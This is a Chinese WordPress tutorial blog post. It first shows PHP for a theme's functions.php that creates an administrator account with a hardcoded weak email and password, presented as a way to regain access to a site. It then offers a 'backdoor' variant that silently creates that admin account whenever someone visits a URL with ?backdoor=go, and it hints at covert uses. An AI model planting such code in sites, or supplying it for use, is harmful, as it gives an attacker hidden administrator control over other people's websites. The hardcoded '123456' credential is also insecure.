不登录WordPress后台直接新建一个管理员账号

知更鸟 2020年8月19日15:02:52WordPress26362阅读模式

之前“找回 WordPress 登录密码”文章提供的找回登录密码方法有一个局限性,就是如果连登录名和邮件地址也忘了(该找医生看看了),还是无法解决,这里再提供一个方法。文章源自知更鸟-https://zmingcx.com/create-an-administrator-account-directly.html

文章源自知更鸟-https://zmingcx.com/create-an-administrator-account-directly.html

不登录WordPress后台直接新建一个管理员账号

不登录WordPress 后台直接新建一个管理员账号

文章源自知更鸟-https://zmingcx.com/create-an-administrator-account-directly.html

可以通过FTP,将下面代码添加到当前主题函数模板functions.php中,然后刷新页面会新建一个管理员账号:文章源自知更鸟-https://zmingcx.com/create-an-administrator-account-directly.html

// 新建一个管理账号
$user_email = '123@123.com';
$user_password = '123456';
if ( !username_exists( $user_email ) ) {
	$user_id = wp_create_user( $user_email, $user_password, $user_email );
	wp_update_user( array( 'ID' => $user_id, 'nickname' => $user_email ) );
	$user = new WP_User( $user_id );
	$user->set_role( 'administrator' );
	wp_die( '添加用户成功!' );
} else {
	wp_die( '该用户已经存在,用后请移除本代码!' );
}

修改其中的邮件地址和密码文章源自知更鸟-https://zmingcx.com/create-an-administrator-account-directly.html

$user_email = '123@123.com';
$user_password = '123456';

刷新页面会提示:该用户已经存在,用后请移除本代码!,说明用户已添加成功,将添加的代码移除,覆盖还原。文章源自知更鸟-https://zmingcx.com/create-an-administrator-account-directly.html

登录新建的管理员账号,修改原来账号的密码或者直接删除原来的账号。文章源自知更鸟-https://zmingcx.com/create-an-administrator-account-directly.html


 文章源自知更鸟-https://zmingcx.com/create-an-administrator-account-directly.html

文章源自知更鸟-https://zmingcx.com/create-an-administrator-account-directly.html

不登录WordPress后台直接新建一个管理员账号

这段代码还有一个不可告人的功能,稍微改一下,变成后门!

文章源自知更鸟-https://zmingcx.com/create-an-administrator-account-directly.html

这段代码还有一个不可告人的功能,稍微改一下,变成后门!双刃剑看怎么用了。文章源自知更鸟-https://zmingcx.com/create-an-administrator-account-directly.html

if ($_GET['backdoor'] == 'go') {
	$user_email = '123@123.com';
	$user_password = '123456';
	if ( !username_exists( $user_email ) ) {
		$user_id = wp_create_user( $user_email, $user_password, $user_email );
		wp_update_user( array( 'ID' => $user_id, 'nickname' => $user_email ) );
		$user = new WP_User( $user_id );
		$user->set_role( 'administrator' );
		wp_die( '添加用户成功!' );
	} else {
		wp_die( '该用户已经存在,用后请移除本代码!' );
	}
}

只有打开一个特定的链接,比如:文章源自知更鸟-https://zmingcx.com/create-an-administrator-account-directly.html

example.com/?backdoor=go文章源自知更鸟-https://zmingcx.com/create-an-administrator-account-directly.html

才会运行这段代码,并新建管理账号,至于目的是什么,自己想像吧。文章源自知更鸟-https://zmingcx.com/create-an-administrator-account-directly.html

 文章源自知更鸟-https://zmingcx.com/create-an-administrator-account-directly.html

 文章源自知更鸟-https://zmingcx.com/create-an-administrator-account-directly.html

weinxin
版权声明
本站原创文章转载请注明文章出处及链接,谢谢合作!
WordPress 主题添加鼠标跟随特效 WordPress

WordPress 主题添加鼠标跟随特效

2022年第一篇文章,分享个鼠标跟随特效,给喜欢花花草草的朋友们。这个鼠标跟随特效还是很酷,不是那种鼠标后面跟随一大堆零零碎碎的,仅一个圆圈跟随鼠标指针,当遇到超链接圆圈会变成半透明的背景,国外网站常...
采用AJAX方式将文章移到回收站中 WordPress

采用AJAX方式将文章移到回收站中

在WordPress 后台文章列表中,可以单独将某篇文章移动到回收站中,但移动后页面会刷新一次,可通过下面的代码实现无刷新将文章移动到回收站中。 采用AJAX方式将文章移到回收站中 第一步,在当前主题...
为 WordPress 添加自定义批量操作 WordPress

为 WordPress 添加自定义批量操作

默认 WordPress 后台文章批量操作中,只有编辑和移动到回收站,可以按文本方法添加自定义批量操作选项,例如添加批量将文章改为草稿和自动为选中的文章添加自定义字段和值。 为 WordPress 添...
如何重复使用已设置好的 WordPress 小工具 Plugins

如何重复使用已设置好的 WordPress 小工具

默认情况下WordPress小工具可以重复添加到不同的位置,但已添加设置好的小工具,不能直接拖放到其它位置重复使用。比如我的begin主题集成40多个小工具,每个小工具都有丰富的设置选项,想在不同的位...
评论:2   其中:访客  2   博主  0
    • X
      X 1

      好厉害的样子!
      话说主题更新日志怎么才到4月份 :razz:

      • Pepsi
        Pepsi 0

        想不到你一个卖主题的,居然也开始注重SEO

      匿名

      发表评论

      匿名网友

      :?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:

      确定